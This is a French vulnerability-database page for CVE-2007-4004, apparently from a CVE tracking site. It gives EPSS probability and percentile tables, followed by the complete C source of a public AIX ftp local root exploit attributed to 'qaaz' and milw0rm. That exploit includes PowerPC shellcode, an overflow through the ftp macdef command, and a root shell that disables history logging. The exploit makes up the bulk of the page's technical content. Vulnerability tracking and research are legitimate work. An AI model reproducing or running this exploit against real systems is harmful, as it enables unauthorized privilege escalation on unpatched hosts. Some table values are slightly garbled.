CVE-2007-4004 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	5.63%	–	–
2022-04-03	–	–	5.63%	–	–
2022-07-17	–	–	5.63%	–	–
2022-08-07	–	–	5.63%	–	–
2022-08-14	–	–	5.63%	–	–
2023-03-12	–	–	–	0.04%	–
2023-05-14	–	–	–	0.04%	–
2023-06-04	–	–	–	0.04%	–
2023-06-25	–	–	–	0.04%	–
2023-07-02	–	–	–	0.04%	–
2023-07-09	–	–	–	0.04%	–
2023-07-30	–	–	–	0.04%	–
2023-09-17	–	–	–	0.04%	–
2023-12-03	–	–	–	0.04%	–
2024-03-10	–	–	–	0.04%	–
2024-04-14	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-06-23	–	–	–	0.04%	–
2024-08-04	–	–	–	0.04%	–
2024-08-11	–	–	–	0.04%	–
2024-11-10	–	–	–	0.04%	–
2025-01-26	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-01-25	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.51%
2025-03-30	–	–	–	–	0.45%
2025-03-30	–	–	–	–	0.45,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	77%
2022-04-03	89%
2022-07-17	9%
2022-08-07	89%
2022-08-14	9%
2023-03-12	7%
2023-05-14	8%
2023-06-04	7%
2023-06-25	8%
2023-07-02	7%
2023-07-09	8%
2023-07-30	7%
2023-09-17	8%
2023-12-03	7%
2024-03-10	8%
2024-04-14	9%
2024-06-02	9%
2024-06-23	1%
2024-08-04	9%
2024-08-11	1%
2024-11-10	11%
2025-01-26	12%
2025-01-19	11%
2025-01-25	12%
2025-03-18	64%
2025-03-30	61%
2025-03-30	61%

/* 07/2007: public release * IBM AIX <= 5.3 sp6 * * AIX ftp Local Root Exploit * By qaaz */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/wait.h> #include <sys/select.h> #define TARGET "/usr/bin/ftp" #define OVERLEN 300 #define MAX(x,y) ((x) > (y) ? (x) : (y)) #define ALIGN(x,y) (((x) + (y) - 1) / (y) * (y)) unsigned char qaazcode[] = "\x60\x60\x60\x60\x60\x60\x60\x60" "\x7c\x63\x1a\x79\x40\x82\xff\xfd" "\x7e\xa8\x02\xa6\x3a\xb5\x01\x01" "\x88\x55\xff\x5b\x3a\xd5\xff\x1b" "\x7e\xc8\x03\xa6\x4c\xc6\x33\x42" "\x44\xff\xff\x02\x38\x75\xff\x5f" "\x38\x63\x01\x01\x88\x95\xff\x5d" "\x38\x63\x01\x02\x38\x63\xfe\xff" "\x88\xa3\xfe\xff\x7c\x04\x28\x40" "\x40\x82\xff\xf0\x7c\xa5\x2a\x78" "\x98\xa3\xfe\xff\x88\x55\xff\x5c" "\x38\x75\xff\x5f\x38\x81\xff\xf8" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x4b\xff\xff\xbd\xb8\x05\x7c\xff"; void shell(int p1[2], int p2[2]) { ssize_t n; fd_set rset; char buf[4096]; for (;;) { FD_ZERO(&rset); FD_SET(p1[0], &rset); FD_SET(p2[0], &rset); n = select(MAX(p1[0], p2[0]) + 1, &rset, NULL, NULL, NULL); if (n < 0) { perror("[-] select"); break; } if (FD_ISSET(p1[0], &rset)) { n = read(p1[0], buf, sizeof(buf)); if (n <= 0) break; write(p1[1], buf, n); } if (FD_ISSET(p2[0], &rset)) { n = read(p2[0], buf, sizeof(buf)); if (n <= 0) break; write(p2[1], buf, n); } } } /* just because you don't understand it doesn't mean it has to be wrong */ ulong get_addr(char *argv[], char *envp[], char *args[], char *envs[]) { ulong top, len, off; int i; len = 0; for (i = 0; argv[i]; i++) len += strlen(argv[i]) + 1; for (i = 0; envp[i]; i++) len += strlen(envp[i]) + 1; top = (ulong) argv[0] + ALIGN(len, 8); len = off = 0; for (i = 0; args[i]; i++) len += strlen(args[i]) + 1; for (i = 0; envs[i]; i++) { if (!strncmp(envs[i], "EGG=", 4)) off = len + 4; len += strlen(envs[i]) + 1; } while (off & 3) strcat(envs[0], "X"), off++, len++; return top - ALIGN(len, 4) + off; } int main(int argc, char *argv[], char *envp[]) { char pad[16] = "PAD=X", egg[512]; char *args[] = { TARGET, NULL }; char *envs[] = { pad, egg, NULL }; int pi[2], po[2], i; pid_t child; ulong addr; sprintf(egg, "EGG=%s/proc/%d/object/a.out|", qaazcode, getpid()); if (!envp[0]) { setuid(geteuid()); putenv("HISTFILE=/dev/null"); execl("/bin/bash", "bash", "-i", NULL); execl("/bin/sh", "sh", "-i", NULL); perror("[-] execl"); exit(1); } printf("----------------------------\n"); printf(" AIX ftp Local Root Exploit\n"); printf(" By qaaz\n"); printf("----------------------------\n"); if (pipe(pi) < 0 || pipe(po) < 0) { perror("[-] pipe"); exit(1); } addr = get_addr(argv, envp, args, envs); if ((child = fork()) < 0) { perror("[-] fork"); exit(1); } if (child == 0) { dup2(pi[0], 0); dup2(po[1], 1); dup2(po[1], 2); execve(TARGET, args, envs); perror("[-] execve"); exit(1); } write(pi[1], "macdef foo\n\n$\nfoo ab", 20); for (i = 0; i < OVERLEN; i += sizeof(addr)) write(pi[1], &addr, sizeof(addr)); write(pi[1], "\n", 1); fflush(stdout); fflush(stderr); close(pi[0]); close(po[1]); shell((int[2]) { 0, pi[1] }, (int[2]) { po[0], 1 }); kill(child, SIGTERM); waitpid(child, NULL, 0); return 0; } // milw0rm.com [2007-07-27]